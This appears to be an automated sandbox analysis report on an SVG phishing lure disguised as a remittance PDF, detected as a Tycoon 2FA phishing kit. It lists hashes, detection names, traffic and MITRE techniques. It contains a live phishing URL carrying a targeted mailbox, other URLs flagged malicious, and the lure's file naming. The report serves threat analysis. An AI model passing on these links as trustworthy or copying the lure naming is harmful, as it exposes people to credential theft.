Edit tour

Windows Analysis Report
View Remittance_18032025.PDF J8TLBF6.9 KB for Accounting.svg

Overview

General Information

Sample name:	View Remittance_18032025.PDF J8TLBF6.9 KB for Accounting.svg
Analysis ID:	1643455
MD5:	d09afc1ac90ba784908e63879266769a
SHA1:	75a852d076d3680789067d898ccd217d6230889f
SHA256:	e0083de4b8db579ccb850b83020cfe8dac880bc73a7c3c85516f0343bb7f9f4d
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	76
Range:	0 - 100
Confidence:	100%

Signatures

Yara detected HtmlPhish44

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

HTML page contains hidden javascript code

IP address seen in connection with other malware

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 7088 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\VIEWRE~1.SVG MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 2584 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,14079168659140352075,13294369131087691873,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2052 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
View Remittance_18032025.PDF J8TLBF6.9 KB for Accounting.svg	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_57	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTML

Source	Rule	Description	Author
0.0.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

• Phishing
• Compliance
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish44

Source: Yara match

File source: dropped/chromecache_57, type: DROPPED

Yara detected Invisible JS

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Yara detected JavaScript embedded in SVG

Source: Yara match

File source: View Remittance_18032025.PDF J8TLBF6.9 KB for Accounting.svg, type: SAMPLE

Source: https://0m.hzusyylm.ru/zmmV/#Maccounting@firstar-bank.com

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Portfolio & Agency - Modern Design</title> <link href="https://fonts.googleapis.com/css2?family=Montserrat...

Source: unknown	HTTPS traffic detected: 172.67.157.189:443 -> 192.168.2.18:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.189:443 -> 192.168.2.18:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.18:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.18:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.18:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.18:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.18:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.132:443 -> 192.168.2.18:49725 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 104.18.95.41 104.18.95.41
Source: Joe Sandbox View	IP Address: 151.101.2.137 151.101.2.137
Source: Joe Sandbox View	IP Address: 151.101.2.137 151.101.2.137

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.7
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.195
Source: unknown	TCP traffic detected without corresponding DNS query: 208.89.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 208.89.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.28
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.28
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.28.19
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.28.19
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.69.3
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.69.3
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.69.3
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.69.3
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.69.3
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.69.3
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /zmmV/ HTTP/1.1Host: 0m.hzusyylm.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://0m.hzusyylm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://0m.hzusyylm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://0m.hzusyylm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://0m.hzusyylm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://0m.hzusyylm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=Hlm_9fzhBw5qbLvAsEulJ_YbO5hgr.K930biURYCCS0-1742412502-1.0.1.1-MkH5A5JNWcisCRXz6y6_Vk6ky8PwEsWeFP8WyxzghTqNfS89We0yu_Y06mK_W.xc8FdVc5Y2yDqJn8SatKDC3hJkgAfNnDwymn7EN_AVfOY

Source: global traffic	DNS traffic detected: DNS query: 0m.hzusyylm.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 172.67.157.189:443 -> 192.168.2.18:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.189:443 -> 192.168.2.18:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.18:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.18:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.18:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.18:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.18:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.132:443 -> 192.168.2.18:49725 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir7088_698062790

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir7088_698062790

Jump to behavior

Source: classification engine

Classification label: mal76.phis.winSVG@20/11@14/7

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\VIEWRE~1.SVG
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,14079168659140352075,13294369131087691873,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2052 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,14079168659140352075,13294369131087691873,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2052 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Download Video

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://0m.hzusyylm.ru/zmmV/	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
code.jquery.com	151.101.2.137	true	false	high
developers.cloudflare.com	104.16.2.189	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	142.251.40.132	true	false	high
0m.hzusyylm.ru	172.67.157.189	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://developers.cloudflare.com/favicon.png	false		high
https://0m.hzusyylm.ru/zmmV/#Maccounting@firstar-bank.com	false		unknown
https://0m.hzusyylm.ru/zmmV/	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.157.189	0m.hzusyylm.ru	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
142.251.40.132	www.google.com	United States	15169	GOOGLEUS	false
104.16.2.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.18

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643455
Start date and time:	2025-03-19 20:27:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	View Remittance_18032025.PDF J8TLBF6.9 KB for Accounting.svg
Detection:	MAL
Classification:	mal76.phis.winSVG@20/11@14/7
Cookbook Comments:	Found application associated with file extension: .svg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.176.195, 142.250.64.78, 172.253.115.84, 142.251.41.14, 142.251.40.238, 142.250.65.238, 142.251.40.174, 142.251.40.142, 142.250.65.227, 142.250.176.206, 142.251.32.110, 142.251.35.163, 142.251.40.206, 142.250.81.238, 4.245.163.56, 13.107.246.40
Excluded domains from analysis (whitelisted): clients1.google.com, clients2.google.com, edgedl.me.gvt1.com, accounts.google.com, redirector.gvt1.com, slscr.update.microsoft.com, otelrules.azureedge.net, update.googleapis.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
151.101.2.137	http://facebooksecurity.blogspot.co.uk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://facebooksecurity.blogspot.ro/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://novo.oratoriomariano.com/novo/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://applela.za.com/isignesp.php?id=	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://awqffg.newburuan2023.biz.id/next.php	Get hash	malicious	HTMLPhisher	Browse	code.jquery.com/jquery-1.10.2.min.js
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
104.18.95.41	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse
	b9bdbc2d.eml	Get hash	malicious	HTMLPhisher	Browse
	https://albeneseconfectionery.com/eLtHGXzH	Get hash	malicious	HTMLPhisher	Browse
	https://oncontact.nercon.com/crm10/api/public/runworkflow?workflow=ClickThru&profile=nercon&activityid=https://gamma.app/docs/SharePoint-File-Received-lb8vste5j00wp3ymode=doc&drivingentityid=O7YVGH9H2E&entityname=Contact&contactid=O7YVGH9H2E&includecrmkeys=True&eventcode=CLICKSITE&redirecturl=https://gamma.app/docs/SharePoint-File-Received-lb8vste5j00wp3y	Get hash	malicious	Unknown	Browse
	Message.eml	Get hash	malicious	Invisible JS, Tycoon2FA	Browse
	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	original (1).eml	Get hash	malicious	Unknown	Browse
	https://jupp.ac	Get hash	malicious	HTMLPhisher	Browse
	https://enervit.freshdesk.com/en/support/solutions/articles/156000285380-prossimo-cambio-di-qualit%C3%A0	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://pell-network.website	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
challenges.cloudflare.com	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	b9bdbc2d.eml	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://albeneseconfectionery.com/eLtHGXzH	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://oncontact.nercon.com/crm10/api/public/runworkflow?workflow=ClickThru&profile=nercon&activityid=https://gamma.app/docs/SharePoint-File-Received-lb8vste5j00wp3ymode=doc&drivingentityid=O7YVGH9H2E&entityname=Contact&contactid=O7YVGH9H2E&includecrmkeys=True&eventcode=CLICKSITE&redirecturl=https://gamma.app/docs/SharePoint-File-Received-lb8vste5j00wp3y	Get hash	malicious	Unknown	Browse	104.18.95.41
	Message.eml	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.18.95.41
	View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.18.94.41
	vRecording__118sec__Inwg00990__098.svg	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://eikosol.com/goto/https:/gamma.app/docs/Faber-nx9caa24p6tc1q6?mode=present#card-x3twj1va5159vpf	Get hash	malicious	Unknown	Browse	104.18.94.41
	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.18.95.41
	original (1).eml	Get hash	malicious	Unknown	Browse	104.18.94.41
code.jquery.com	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
